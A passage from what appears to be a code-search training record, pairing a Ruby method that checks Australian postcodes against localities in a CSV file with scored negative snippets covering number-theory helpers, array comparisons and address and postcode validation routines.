second_number_factors.include?(factor)\n return factor\n end\n end\n\nend", "def check_array(a, b)\n sum = (a[0]+a[1]+a[2])-(b[0]+b[1]+b[2])\n\tif(sum >= 0)\n\t\treturn a\n\tend\n\treturn b\nend", "def least_common_multiple(num_1, num_2)\n value = [num_1, num_2].max\n while (value % num_1 != 0) || (value % num_2 != 0)\n value += 1\n end\n return value\nend", "def greatest_common_factor(a, b)\n a, b = b, a%b until b == 0\n a\nend", "def greatest_common_factor(number1, number2)\n\tif ((number1 || number2) == 0)\n\t\treturn 1\n\tend\n\tsmall_num = 0\n\tbig_num = 0\n\tif number1 < number2\n\t\tsmall_num = number1\n\t\tbig_num = number2\n\telse \n\t\tsmall_num = number2\n\t\tbig_num = number1\n\tend \n\t\n\ti = 1\n\tfactors = []\n\twhile i <= small_num\n\t\tif small_num%i == 0\n\t\t\tfactors.push(i)\n\t\tend\n\t\ti+=1\n\tend\n\n\tj = 0\n\tbig_factors = []\n\twhile j < factors.length\n\t\tif big_num%factors[j] == 0\n\t\t\tbig_factors.push(factors[j])\n\t\tend\n\t\tj +=1\n\tend\n\tif big_factors[((big_factors.length)-1)] != nil\n\t\treturn big_factors[((big_factors.length)-1)]\n\telse\n\t\tputs \"#{number1} and #{number2} have no common factors\"\n\tend\nend", "def solution(a, b, k)\n first_dividend = a\n remainder = first_dividend%k\n\n while remainder != 0 && first_dividend <= b do\n first_dividend += 1\n remainder = first_dividend%k\n end\n\n remainder == 0 ? (b - first_dividend) / k + 1 : 0\nend", "def greatest_common_factor(number1, number2)\n # get the smaller number\n n = number1 < number2 ? number1 : number2\n\n # check each number i\n # starting from this number n down to 1\n # if it divides both number1 and number2 evenly\n # if so, then this is the gcd\n n.downto(1).each do |i|\n if number1 % i == 0 and number2 % i == 0\n return i\n end\n end\n 1\nend", "def arrayDivisible(n)\n not_factors = []\n numbers_to_check = remove_factors(n)\n\n index1 = 0\n index2 = 1\n\n puts \"index1: #{index1}, index2: #{index2}, array: #{numbers_to_check}\"\n #binding.pry\n\n while index1 <= range_length\n\n while index2 <= range_length\n if numbers_to_check[index2] % numbers_to_check[index1] != 0\n puts \"num1: #{numbers_to_check[index1]}, num2: #{numbers_to_check[index2]}, array: #{numbers_to_check}\"\n not_factors << numbers_to_check[index2]\n puts \"New array: #{not_factors}\"\n puts nil\n end\n index2 += 1\n end\n index1 += 1\n end\n\n not_factors\n\nend", "def compareTriplets(a, b)\n alice_points = 0\n bob_points = 0\n\n a.zip(b).each do |a_val, b_val|\n if a_val > b_val\n alice_points += 1\n elsif a_val < b_val\n bob_points += 1\n end\n end\n puts \"#{alice_points} #{bob_points}\"\n [alice_points, bob_points]\nend", "def findBullsAndCows(array1, array2)\n\t#edge case: array1 || array2 is nil, then print empty for both \n\tbullsArray = []\n\tcowsArray = []\n\tif (array1 == nil || array2 == nil)\n\t\treturn nil\n\telse\n\t\tif array1.empty? || array2.empty?\n\t\t\treturn nil\n\t\tend\n\tend\n\thash = {}\n\tfor i in 0..array1.length-1\n\t\tnum = array1[i]\n\t\tif !hash[num]\n\t\t\thash[num] = i\n\t\telsif hash[num].is_i?\n\t\t\thash[num] = [hash[num]].push(i)\n\t\telse\n\t\t\thash[num].push(i)\n\t\tend\n\tend\n\tfor j in 0..array2.length-1\n\t\tnum = array2[j]\n\t\tif hash[num]\n\t\t\tif hash[num].is_a? Integer\n\t\t\t\tif hash[num] == j\n\t\t\t\t\tbullsArray << num\n\t\t\t\telse \n\t\t\t\t\tcowsArray << num\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tif hash[num].includes?(j)\n\t\t\t\t\tbullsArray << num\n\t\t\t\telse\n\t\t\t\t\tcowsArray << num\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\t\t\t\n\t#iterate through array1 put everything into hashmap. Key is the num. Value is the index\n\n\t#iterate throuhg array2. Check if hash has key of array2[i]. If it does, check index.\n\t#push into bull if index is ==. if not, push in cows array\n\t\n\n\t#done, print out bulls array ad cows array\n\tp bullsArray\n\tp cowsArray\nend", "def is_rotation(a, b)\n # 1) use two pointers\n ptr_a = 0\n ptr_b = 0\n\n # 2) find the index where both array has same the element\n while ptr_b < b.length\n break if a[ptr_a] == b[ptr_b]\n ptr_b += 1\n end\n\n # 3) iterate arrays until two elements are different\n a.each do |num|\n # 4) if different, return false\n return false if num != b[ptr_b]\n ptr_b = (ptr_b + 1) % b.length\n end\n\n # othwerwise return true\n return true\nend", "def ochiai(array1, array2)\n m11, m10, m01, m00 = binary_compare(array1, array2)\n n = array1.size\n begin\n s = m11 / Math.sqrt( (m11 + m10) * (m11 + m01) ).to_f \n rescue ZeroDivisionError\n return :ochiai, 0.000\n end\n return :ochiai, 0.000 if s.nan?\n return :ochiai, s.round(3)\nend", "def coprime?(num_1, num_2)\n arr = []\n\n # pass in the smaller value first\n # any factors past the smaller value will not matter since it won't be divisible by both\n # could have called factors() twice to get two arrays containing factors of both numbers and compare\n # this method would have taken longer since I would have to write another iteration to compare both arrays\n if num_1 < num_2\n arr = factors(num_1, num_2)\n else\n arr = factors(num_2, num_1)\n end\n\n arr.all? { |el| el == 1 }\nend" ]
[ "0.7340889", "0.7262867", "0.7030041", "0.70171165", "0.69350284", "0.6846612", "0.6671942", "0.6607958", "0.6491265", "0.6367874", "0.6366356", "0.6362034", "0.6346817", "0.6330685", "0.6285543", "0.6258957", "0.6219872", "0.6205822", "0.6197444", "0.61777234", "0.61541134", "0.6147816", "0.6122179", "0.6119746", "0.6113969", "0.6099964", "0.60722125", "0.6071694", "0.60169125", "0.60165286", "0.59699506", "0.5955645", "0.59540486", "0.5946032", "0.5943089", "0.59354156", "0.5922787", "0.59164554", "0.59129524", "0.589887", "0.5894638", "0.5885904", "0.58550805", "0.58521044", "0.58388734", "0.5826602", "0.5826204", "0.58240044", "0.579882", "0.57976335", "0.57922", "0.5778481", "0.577754", "0.5763137", "0.5760237", "0.5751941", "0.5745603", "0.5739452", "0.57394326", "0.57316196", "0.5728313", "0.57201207", "0.5713285", "0.5706622", "0.5699382", "0.5698088", "0.5688861", "0.56815493", "0.56432694", "0.5634489", "0.5623195", "0.56076664", "0.5600227", "0.5598201", "0.55963045", "0.5589007", "0.55871594", "0.55762655", "0.5574618", "0.5572462", "0.55716085", "0.55692035", "0.55691046", "0.5567975", "0.5566843", "0.55507207", "0.5540135", "0.5537996", "0.5530643", "0.5517024", "0.55131656", "0.55071086", "0.550362", "0.55003244", "0.54995847", "0.549086", "0.5490815", "0.5488689", "0.5485716", "0.5484415" ]
0.72643805
1
Used AU TOWNS SAMPLE .csv to validate postcode addresss considering Residential Address to validate against postcode combination
def valid_postcode_location(data) @csv ||= CSV.read(AU_DATA_FILE_PATH, headers: true) if @csv.find do |row| row['postcode'] == data['Residential Address Postcode'] && row['name'].downcase == data['Residential Address Locality'].downcase end true else false end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def validate(address)\n if (address.country.present? && scotland_country_code_valid?(address.country) == false) ||\n (address.postcode.present? && scotland_postcode_format_valid?(address.postcode) == false)\n address.errors.add(:postcode, :postcode_format_invalid)\n end\n end", "def aramex_address_validation\n zones = Spree::ShippingMethod.where(['LOWER(admin_name) like ?', '%aramex%']).map(&:zones).flatten\n if zones.map(&:countries).flatten.map(&:iso).include?(country.iso)\n response = JSON.parse(validate_address(city, zipcode, country.iso))\n if response['HasErrors'] == true && errors[:zipcode].blank?\n if response['SuggestedAddresses'].present?\n errors.add(:base, response['Notifications'].map { |data| data['Message'] }.join(', ') + ', Suggested city name is - ' + response['SuggestedAddresses'].map { |data| data['City'] }.join(', '))\n else\n cities_response = JSON.parse(fetch_cities(country.iso, city[0..1]))\n errors.add(:base, cities_response['Notifications'].map { |data| data['Message'] }.join(', ') + ', Suggested city name is - ' + cities_response['Cities'].join(' ,'))\n end\n end\n end\n rescue\n return true\n end", "def valid_address?( delta = 1.0 )\n @required = [:ups_account, :ups_user, :ups_password]\n \n state = STATES.has_value?(@state.downcase) ? STATES.index(@state.downcase) : @state\n \n @data = String.new\n b = Builder::XmlMarkup.new :target => @data\n \n b.instruct!\n b.AccessRequest {|b|\n b.AccessLicenseNumber @ups_account\n b.UserId @ups_user\n b.Password @ups_password\n }\n b.instruct!\n b.AddressValidationRequest {|b|\n b.Request {|b|\n b.RequestAction \"AV\"\n b.TransactionReference {|b|\n b.CustomerContext \"#{@city}, #{state} #{@zip}\"\n b.XpciVersion API_VERSION\n }\n }\n b.Address {|b|\n b.City @city\n b.StateProvinceCode state\n b.PostalCode @zip\n }\n }\n \n \t get_response \"https://wwwcie.ups.com/ups.app/xml/AV\"\n \n \t\tif REXML::XPath.first(@response, \"//AddressValidationResponse/Response/ResponseStatusCode\").text == \"1\" && REXML::XPath.first(@response, \"//AddressValidationResponse/AddressValidationResult/Quality\").text.to_f >= delta\n \t\t return true\n \t\telse\n \t\t return false\n \t\tend\n end", "def zipvalidate(postcode)\n !!postcode.match(/\\A[1-46][\\d]{5}\\z/)\nend", "def validates_zip_code(*config)\n validates_each(:zip_code, *config) do |model, attr, zip|\n if zip.present?\n regex = postal_code_regex(model.country_code)\n if regex.present?\n unless regex =~ zip\n model.errors.add(attr, I18n.t(\"activerecord.errors.messages.invalid\"))\n end\n end\n end\n end\n end", "def check_values(entry_hash)\n flag = 0\n feedback = \"\"\n detail = \"\"\n flag = 1 if duplicate_entry?(entry_hash)\n entry_hash.each do |column, value|\n flag = 2 if column == \"fname\" && value.length < 2\n flag = 3 if column == \"lname\" && value.length < 2\n flag = 4 if column == \"addr\" && value.split(\" \").length < 3\n (flag = 5; detail = column) if column =~ /fname|lname|addr/ && value.length > 50\n (flag = 5; detail = column) if column == \"city\" && value.length > 25\n flag = 6 if column == \"city\" && value.length < 2\n flag = 7 if column == \"zip\" && value.length != 5\n (flag = 8; detail = column) if column =~ /mobile|home|work/ && value.length.to_s !~ /0|10/\n flag = 9 if column == \"state\" && (!state_array.include? value.upcase)\n flag = 10 if column =~ /fname|lname/ && value =~ /[^a-zA-Z.\\- ]/\n flag = 11 if column == \"addr\" && value =~ /[^0-9a-zA-z.\\- ]/\n flag = 12 if column == \"city\" && value =~ /[^a-zA-Z.\\- ]/\n (flag = 13; detail = column) if column =~ /zip|mobile|home|work/ && value =~ /[^0-9]/\n end\n case flag\n when 1 then feedback = \"That entry already exists - please enter details for another entry.\"\n when 2 then feedback = \"The first name is too short - please enter at least two letters for the first name.\"\n when 3 then feedback = \"The last name is too short - please enter at least two letters for the last name.\"\n when 4 then feedback = \"Please specify a house number and a street name for the address.\"\n when 5 then feedback = \"The value for '#{detail}' is too long - please use a shorter value.\"\n when 6 then feedback = \"The city name is too short - please enter at least two letters for the city name.\"\n when 7 then feedback = \"Please enter five digits for the zip code.\"\n when 8 then feedback = \"Please enter ten digits for the #{detail} phone number.\"\n when 9 then feedback = \"Please use a valid two-letter abbreviation for the state name.\"\n when 10 then feedback = \"The name should only contain letters, hyphens or periods.\"\n when 11 then feedback = \"The street address should only contain numbers, letters, hyphens or periods.\"\n when 12 then feedback = \"The city name should only contain letters, hyphens or periods.\"\n when 13 then feedback = \"The value for '#{detail}' should only have numbers.\"\n end\n return feedback\nend", "def set_postal_address\n\n\tpostal_address = PostalAddress.find_by_postal_address_type_code_and_city_and_address1_and_address2(self.postal_address_type_code,self.city,self.address1,self.address2)\n\t if postal_address != nil \n\t\t self.postal_address = postal_address\n\t\t return true\n\t else\n\t\terrors.add_to_base(\"combination of: 'postal_address_type_code' and 'city' and 'address1' and 'address2' is invalid- it must be unique\")\n\t\t return false\n\tend\nend", "def validateaddress(coinaddress)\n coind.validateaddress\n end", "def scotland_postcode_format_valid?(postcode)\n postcode.match?(SCOTLAND_POSTCODE_REGEX)\n end", "def address\n [address_line_1, address_line_2, town_city, county, postcode].join(\", \")\n end", "def validates_zip_code_according_to_publisher(*config)\n validates_each(:zip_code, *config) do |model, attr, zip|\n if zip.present?\n valid = false\n if model.publisher\n model.publisher.country_codes.each do |country_code|\n regex = postal_code_regex(country_code)\n if regex.present?\n valid = true if regex =~ zip\n else\n # valid if there's no validation regex\n valid = true\n end\n end\n else\n valid = true\n end\n unless valid\n model.errors.add(attr, I18n.t(\"activerecord.errors.messages.invalid\"))\n end\n end\n end\n end", "def address(input)\n\t(/[0-9]{4}(\\s|\\,){1}(.+?)(\\s|\\,){1}(?i)((str)|(street)|(ave)|(avenue)|(rd)|(road)|(blvd)|(boulevard))(\\.)?/i =~ input)? \"true\" : \"false\"\nend", "def fake_address\n {\n first_name: 'Jack',\n last_name: 'Macdowall',\n company_name: 'Macdowalls',\n line_1: '1225 Invention Avenue',\n line_2: 'Birmingham',\n postcode: 'B21 9AF',\n county: 'West Midlands',\n country: 'UK'\n }\n end", "def validate\n unless address =~ /^(\\d{1,3}\\.){3}\\d{1,3}$/\n raise ValidationError, \"Invalid address\"\n end\n end", "def diagnostics\n loc = scour 5902\n address = /2501 West Memorial, Oklahoma City, OK.*73134/\n raise \"AMC address not parsing correctly: #{loc.address} expected to equal #{address}\" unless loc.address =~ address\n end", "def parse_and_save_address_granules\n\n parsed = UserBuilding.granularize_address(address) # address presence is validated\n\n update_column(:prenum, parsed.prenum)\n update_column(:number, parsed.number)\n update_column(:sufnum, parsed.sufnum)\n update_column(:street, parsed.street[0].upcase) if parsed.street.present? # take only the first. # TODO improve via Array column or having any idea about how what goes in there\n update_column(:city, parsed.city[0].upcase) if parsed.city.present?\n update_column(:state, parsed.state[0].upcase) if parsed.state.present?\n update_column(:plus4, parsed.plus4)\n update_column(:country, parsed.country[0].upcase) if parsed.country.present?\n end", "def validate_address(street,sid,house_nr) \n\n url = 'http://ags2.lojic.org/ArcGIS/rest/services/External/Address/MapServer/exts/AddressRestSoe/ValidateAddress?' +\n \"token=XByufiRcTeZJOARKuu3jJV2mNkBRSCD--D1YqeBZDCuEij4BnbkuzNL3QcE-l3mwAnR7Rs9CoaKo-Xp8j4Tsuw..\" +\n '&Houseno='+ house_nr.to_s + \n '&SifID='+sid.to_s + \n '&Apt='+\n '&f=json'+\n 'callback=dojo.io.script.jsonp_dojoIoScript52._jsonpCallback'\n\n html = cache \"house\" + sid + \"_house\" + house_nr ,url\n\n json = JSON.parse(html)\n\n if json \n if json.include?('Candidates')\n json['Candidates'].each{ |house|\n\n # creat the source point in meters\n srcPoint = Proj4::Point.new( house[\"X\" ] * 0.3048006 , house[\"Y\" ] * 0.3048006 , )\n\n # transform it \n point = @srcPrj.transform(@destPrj, srcPoint)\n\n # covert to degrees\n lat = point.x * Proj4::RAD_TO_DEG\n lon= point.y * Proj4::RAD_TO_DEG\n\n p = Node.new(lon,lat)\n p.kv 'addr:housenumber', house[\"Houseno\"].to_s\n#<tag k=\"addr:housenumber\" v=\"{\"Houseno\"=>4305, \"Hafhouse\"=>\"\", \"Apt\"=>\"\", \"Roadname\"=>\"W MUHAMMAD ALI BLVD\", \"FullAddress\"=>\"4305 W MUHAMMAD ALI BLVD\", \"ZIPCode\"=>\"40212\", \"Sitecad\"=>1110234909, \"X\"=>1188974.2500012815, \"Y\"=>280104.8749201}\"/>\n# p.kv 'addr:full', house[\"FullAddress\"]\n p.kv 'addr:suite', house[\"Apt\"]\n p.kv 'addr:Hafhouse', house[\"Hafhouse\"]\n p.kv 'addr:street', street\n p.kv 'addr:postcode', house[\"ZIPCode\"]\n p.kv 'building', \"yes\"\n\n @properties.push(p)\n }\n end \n end\n\n end", "def absolved_students_with_address\n is = Index.find_for(User.find_by_login('ticha'))\n is = is.select {|i| i.absolved?}.sort {|i, j| i.semester <=> j.semester}\n File.open('absolved_with_address.csv', 'wb') do |outfile|\n CSV::Writer.generate(outfile, ';') do |csv|\n csv << ['absolvoval', 'titul pred', 'jmeno', 'prijmeni', 'titul za', 'ulice', 'mesto', 'psc']\n is.each do |index|\n s = index.student\n if a = s.address and a.street\n csv << [index.disert_theme.defense_passed_on.to_date,\n s.title_before ? s.title_before.label : 'Ing.', s.firstname, s.lastname,\n s.title_after ? s.title_after.label : '', a.street + \" \" + (a.desc_number or a.orient_number or ''), a.city, a.zip]\n end\n end\n end\n end\n end", "def address_matches\n filtered_matches(ignore: [:first_name, :family_name], perfect: [:street, :city])\n end", "def test_address_validation\n response = nil\n assert_nothing_raised do\n #response = @carrier_prod.validate_addresses({'address_from' => @locations[:ottawa], 'address_to' => @locations[:beverly_hills]}, :test=>false)\n @carrier_prod.validate_addresses({'address_from' => Location.new(\n :country => 'US',\n :state => 'TX',\n :city => 'Houston',\n :address1 => '11811 North Freeway',\n :address2 => 'suite 500',\n :zip => '77060'), \n 'address_to' => Location.new(:country => 'US',\n :state => 'NY',\n :city => 'Brooklyn',\n :address1 => '7 Balfour pl',\n :address2 => 'Apt E3',\n :zip => '11225')})\n end\n end", "def valid_address\n @address_string ||= [:street_address, :postal_code].map{|f| self.send(f)}.join(',')\n \n res=Geokit::Geocoders::GoogleGeocoder.geocode(@address_string)\n \n if res.success && res.precision.to_sym == :address\n\n self.street_address = res.street_address.upcase\n self.postal_code \t= res.zip.gsub(/\\s+/,'') \n self.lat = res.lat\n self.lng = res.lng\n \n country = Country.find_by_iso2(res.country_code)\n region = country.regions.find_or_create_by_code(res.state)\n city = region.cities.find_or_create_by_name_and_country_id(res.city, country.id) \n self.city = city\n\n elsif military_address?\n self.city = Country.find_by_iso2(res.country_code).regions.\n find_by_code(res.state).cities.find_by_name(res.city)\n return true \n else\n errors.add_to_base('Sorry the address is not valid')\n end \n end", "def validate_redeemtoaddress_inputs(data)\n response = {}\n response['status'] = false\n\n if data.length != 4\n response['err_msg'] = 'Insufficient number of parameters!'\n return response\n end\n\n begin\n data[1] = Integer(data[1])\n data[2] = btc_to_satoshi(Float(data[2]))\n\n transaction = retrieve_transaction_from_utxo(data[0], data[1])\n\n if transaction.nil?\n response['err_msg'] =\n 'Either invalid, non-wallet or already spent Transaction ID,' \\\n 'or incorrect vout index'\n return response\n end\n\n unless multisig_transaction?(\n transaction['trans_id'],\n transaction['vout_index']\n )\n\n response['err_msg'] =\n 'Transaction ID provided is not multisig transaction.' \\\n 'Please use `sendtoaddress` command for this.'\n return response\n end\n\n if btc_to_satoshi(transaction['value']) < (data[2] + TRANSACTION_FEE)\n response['err_msg'] =\n 'Amount to transfer must be less than the transaction amount'\n return response\n end\n\n unless valid_address? data[3]\n response['err_msg'] = 'Either invalid or non-wallet payee address'\n return response\n end\n\n response['status'] = true\n return response\n rescue\n response['err_msg'] = 'Invalid parameter values!'\n return response\n end\nend", "def validate_zip(address)\n return SOAZipValidator(address.city, address.zipcode)\n end", "def valid?\n return false if @address1.nil?\n return false if @address1.to_s.length > 100\n return false if @address1.to_s.length < 1\n return false if [email protected]? && @address2.to_s.length > 100\n return false if @amount.nil?\n return false if @amount > 10000000\n return false if @amount < 1\n return false if !@business_description.nil? && @business_description.to_s.length > 500\n business_type_validator = EnumAttributeValidator.new('String', [\"corporate\", \"individual\"])\n return false unless business_type_validator.valid?(@business_type)\n return false if !@corporate_number.nil? && @corporate_number !~ Regexp.new(/^\\\\d{13}$/)\n return false if @email.nil?\n return false if @end_date.nil?\n return false if @prefecture.nil?\n prefecture_validator = EnumAttributeValidator.new('String', [\"北海道\", \"青森県\", \"岩手県\", \"宮城県\", \"秋田県\", \"山形県\", \"福島県\", \"茨城県\", \"栃木県\", \"群馬県\", \"埼玉県\", \"千葉県\", \"東京都\", \"神奈川県\", \"新潟県\", \"富山県\", \"石川県\", \"福井県\", \"山梨県\", \"長野県\", \"岐阜県\", \"静岡県\", \"愛知県\", \"三重県\", \"滋賀県\", \"京都府\", \"大阪府\", \"兵庫県\", \"奈良県\", \"和歌山県\", \"鳥取県\", \"島根県\", \"岡山県\", \"広島県\", \"山口県\", \"徳島県\", \"香川県\", \"愛媛県\", \"高知県\", \"福岡県\", \"佐賀県\", \"長崎県\", \"熊本県\", \"大分県\", \"宮崎県\", \"鹿児島県\", \"沖縄県\"])\n return false unless prefecture_validator.valid?(@prefecture)\n return false if [email protected]? && @remark.to_s.length > 500\n return false if !@representative_name.nil? && @representative_name.to_s.length > 30\n return false if @tel.nil?\n return false if @tel !~ Regexp.new(/^0((\\\\d{1,2}-?\\\\d{1,4}|\\\\d{3,4}-?\\\\d{1,2})-?\\\\d{4}|120-?\\\\d{3}-?\\\\d{3})$/)\n return false if [email protected]? && @url.to_s.length > 500\n return false if @zip_code.nil?\n return false if @zip_code !~ Regexp.new(/^\\\\d{3}-?\\\\d{4}$/)\n return true\n end", "def buildAddress(addrRaw)\n # Check if first address row contains P O Box substring\n isPoB = addrRaw['s'].include? \"P O Box\"\n location = Array.new\n\n fullLoc = (addrRaw['s'] == \"-\" || isPoB) ? \"\" : \"#{addrRaw['s']}, \"\n partialLoc = (addrRaw['s2'] == \"-\") ? \"\" : \"#{addrRaw['s2']},\" \n partialLoc += (addrRaw['l'] == \"-\") ? \"\" : \"#{addrRaw['l']}, \" \n partialLoc += (addrRaw['r'] == \"-\") ? \"\" : \"#{addrRaw['r']}, \" \n partialLoc += (addrRaw['z'] == \"-\") ? \"\" : \"#{addrRaw['z']}, \" \n partialLoc += (addrRaw['c'] == \"-\") ? \"\" : \"#{addrRaw['c']}\"\n\n fullLoc += partialLoc\n\n # If address does not contain an 'AU', it is added to the end of the address\n if fullLoc != \"\"\n if fullLoc.exclude? \"AU\"\n # Set fullLoc as well as partialLoc in case all address was contained in the first line\n fullLoc += \", AU\"\n partialLoc += \", AU\"\n end\n end\n \n location[0] = fullLoc\n location[1] = partialLoc\n \n return location\n end", "def set_for_postcode_search\n @show_manual_address = false\n @address_read_only = false\n @address_summary.postcode = ''\n @address_detail = Address.new(default_country: params[:address][:default_country])\n end", "def accept_postal\n\n \t puts \"Enter postal code\"\n \t @postal=gets.chomp\n\n \t if(@postal.length!=6 and @postal!~/^[a-z]+$/)\n \t \tputs \" 6 digits postal code\"\n \t \taccept_postal\n \t else\n \t \tputs \"\\t\\t\\tAccepted\"\n \t \tupdate_table\n \t end\t\t\n\n end", "def address_selected?\n return unless address_line1.to_s.empty? || town.to_s.empty?\n\n errors.add(:postcode, :address_not_chosen)\n end", "def zip_code\n @zip_code || (@address_line3 if @address_line3 =~ /(?i)^[a-z0-9][a-z0-9\\- ]{0,10}[a-z0-9]$/)\n end", "def validate\r\n invalid_strings = [\r\n 'PO BOX', 'P.O. BOX', 'P.O BOX', 'PO. BOX', 'POBOX',\r\n 'P.OBOX', 'P.O.BOX', 'PO.BOX', 'P.BOX', 'PBOX', 'AFO',\r\n 'A.F.O.', 'APO', 'A.P.O.'\r\n ]\r\n cap_address = self.address.upcase()\r\n invalid_strings.each do |string|\r\n if cap_address.include?(string) then\r\n errors.add(:address, \"Sorry, we don't ship to P.O. boxes\")\r\n end\r\n end\r\n if self.country && self.country.name == \"United States of America\"\r\n unless zip.blank?\r\n unless zip =~ /^\\d{5}/\r\n errors.add(:zip, \"Please enter a valid zip.\")\r\n end\r\n end\r\n self.state = self.state.upcase\r\n errors.add(:state, \"Please use a US state abbreviation\") unless US_STATES.include?(self.state)\r\n end\r\n end", "def account_address(address_details)\n self.address = Address.new(\n address_line1: address_details[:address_line1], address_line2: address_details[:address_line2],\n address_line3: address_details[:address_line3], address_line4: address_details[:address_line4],\n town: address_details[:address_town_or_city], county: address_details[:address_county_or_region],\n postcode: address_details[:address_postcode_or_zip], country: address_details[:address_country_code]\n )\n end", "def validate_911(address1, address2, city, state, zip, plus_four, caller_name)\n self.arguments = {\n address1: address1, \n address2: address2, \n city: city,\n state: state,\n zip: zip,\n plus_four: plus_four,\n caller_name: caller_name,\n }\n self.action = :validate911\n self.response = VoipApi.account.request(self.action, self.klass, self.arguments)\n self\n end", "def validate_address(address, options={})\n options = @options.update(options)\n address_validation_request = build_address_validation_street_request(address, options)\n #UPS sandbox is not knowing about all states\n log(:address_validation, address_validation_request)\n response = commit(:address_validation_street, save_request(address_validation_request), (false))\n response = response.gsub(/\\sxmlns(:|=)[^>]*/, '').gsub(/<(\\/)?[^<]*?\\:(.*?)>/, '<\\1\\2>')\n log(:address_validation, response)\n parse_address_street_validation_response(response, options)\n end", "def match_postal_code(postal_code)\n /\\A\\s*(?<fsa>[a-zA-Z]\\d[a-zA-Z])\\s*(?<ldu>\\d[a-zA-Z]\\d)\\s*\\z/\n .match(postal_code)\n end", "def search\n return nil unless valid?(:search)\n\n success, addresses = call_address_service\n errors.add(:postcode, :no_address_search_results) unless success && !addresses.empty?\n addresses if success && !addresses.empty?\n end", "def validate_zipcode(province_id, zipcode)\n zipcode = zipcode.to_i\n url = \"/provincia/#{province_id}/validar-codigo-postal\"\n query = \"codigo_postal=#{zipcode}\"\n get_response(url, query)\n end", "def process_line(line)\n\n # get the details from each line\n elements = line.split(';').each { |e| e.strip! }\n name = elements[0]\n address = elements[1]\n phone = elements[2]\n fax = elements[3]\n email = elements[4]\n \n # get the postcode from the address\n temp = address.split(',').each { |e| e.strip! }\n postcode = temp.last\n \n # remove the period\n if (postcode.end_with?(\".\"))\n postcode = postcode[0..-2]\n end\n \n #lookup the latitude and longitude from the postcode\n point = PostCodeLookup.new(postcode.sub(/ /, '')).lookup\n location = LibraryLocation.new($bcc_library, name, address, point)\n\n @@address_list << location\n end", "def valid_learners_excel_upload(csv_row)\n #if any of the fields are blank then dont allow. return false\n if (!csv_row[0].nil? or !csv_row[0].blank?) and (!csv_row[1].nil? or !csv_row[1].blank?) then\n #check the lengths of name and email are in limits else return false\n if csv_row[0].length <=40 and csv_row[1].length <=255 then\n #remove spaces in email_id\n csv_row[1] = csv_row[1].gsub(\" \",\"\")\n #validate_email() method validates the email id with the regular expression\n if validate_email(csv_row[1])\n fill_learners_table(csv_row)\n return true\n else\n return false\n end\n else\n return false\n end\n else\n return false\n end\n end", "def full_street_address\n postcode_only_address\n end", "def search_zip_code\r\n @addresses = Address.find_by_zip_code(params[:address][:zip_code])\r\n end", "def validation_of_zip_code(code) # arr.select { |e| e.even? || e == odd }\n if !/\\A\\d+\\z/.match(code)\n return false\n elsif code.length == 5\n return true\n else\n return false\n end\nend", "def check_values\n check_numericity\n check_zip_code\n end", "def assert_valid_address_from_attributes(attributes, lines)\n address = LocalPostal::Address.new(attributes)\n\n assert address.valid?, address.errors.full_messages.join(' and ')\n assert_equal lines, address.lines, 'invalid address lines'\n end", "def address_valid?(validation_contexts)\n return true if address.nil?\n return true unless reg_company_contact_address_yes_no == 'N' || reg_company_contact_address_yes_no.to_s.empty?\n\n address.valid?(validation_contexts)\n end", "def validation_of_zip_code(code)\n\n # check type\n for str in code.chars\n if !/\\A\\d+\\z/.match(code)\n return false\n end \n end\n\n # check length\n if code.length == 5\n return true\n else\n return false\n end\nend", "def validate_pos_invoice\n if self.customer_id && !self.pos_invoice_addresses\n raise_error('Billing address Required!!!!')\n end\nend", "def look_up_addresses\n if postcode.present?\n address_finder = AddressFinderService.new(postcode)\n self.temp_addresses = address_finder.search_by_postcode\n else\n self.temp_addresses = []\n end\n end", "def address\n address = []\n address << [address1] if !address1.blank?\n address << [address2] if !address2.blank?\n address << [city] if !city.blank?\n address << [province] if !province.blank?\n address << [region] if !region.blank?\n address << [zip_code] if !zip_code.blank?\n address.join(\", \")\n end", "def address\n return \"\" unless [city, state, state_code].all?(&:present?)\n \"#{city}, #{state}(#{state_code})\"\n end", "def postal_code_search(_zip, _city, _country, or_search)\n unless or_search\n Rails.logger.debug \"\\t1) Determine longitude/latitude using exact search (AND)\" \n else\n Rails.logger.debug \"\\t\\t1.1) Determine longitude/latitude using matched search (OR)\"\n end\n \n geo_query = Geonames::PostalCodeSearchCriteria.new\n geo_query.place_name = [zip, city, correct(country)].compact.reject { |s| s.strip.empty? }.join(\" \")\n geo_query.max_rows = or_search ? '10' : '1'\n geo_query.is_or_operator = or_search\n \n results = Geonames::WebService.postal_code_search(geo_query)\n ensure_it_fits(results, _country)\n end", "def accept?(row)\n # On accepte toutes les villes pour les quelles un code postal commence par 92.\n departement = row[\"Code_postal\"].slice(0,2).to_i\n SELECTED_DEPARTEMENTS.include? departement\nend", "def check_billing_postcode?\n if billing_postcode != nil\n ukpc = UKPostcode.parse(billing_postcode)\n unless ukpc.full_valid?\n errors.add(:billing_postcode, \"not recognised as a UK postcode\")\n end\n end\n end", "def validateaddress(namecoin_address)\n request :validateaddress, namecoin_address\n end", "def valid_address?(address)\n all_addresses = get_all_addresses\n all_addresses.include? address\nend", "def enter_address(first_name, last_name, address1, city, state_province, zip_postal_code, phone_number)\n $tracer.trace(\"GameStopMobileDSL : #{__method__}, Line : #{__LINE__}\")\n chkout_first_name_field.value = first_name\n chkout_last_name_field.value = last_name\n chkout_address_1_field.value = address1\n chkout_city_field.value = city\n chkout_select_state.value = state_province\n chkout_zip_code_field.value = zip_postal_code\n chkout_phone_number_field.value = phone_number\n end", "def customer_address\n { :address1 => params['address1'], :address2 => params['address2'],\n :city => params['city'], :state => params['state'],\n :country => params['country'], :zipcode => params['zipcode'] }\n end", "def getToolsParseAddress( address, postcode, country, normalise)\n params = Hash.new\n params['address'] = address\n params['postcode'] = postcode\n params['country'] = country\n params['normalise'] = normalise\n return doCurl(\"get\",\"/tools/parse/address\",params)\n end", "def address\n [street, [postal_code, l].join(' ')].join(\"\\n\")\n end", "def validate_pin(pin)\n (pin.length == 4 || pin.length == 6) && pin.count(\"0-9\") == pin.length\nend", "def full_address\n part_1 = address\n part_2 = [zip_code, city].reject(&:blank?).join(' ')\n part_3 = \"France\"\n [part_1, part_2, part_3].reject(&:blank?).join(', ')\n end", "def completeAddress\n\t\tprint \"#{streetAddress},\" \n\t\tprint \"#{cityName},\" \n\t\tprint \"#{countryName}\"\n\tend", "def customer_address\n { :address1 => params['address1'], :address2 => params['address2'],\n :city => 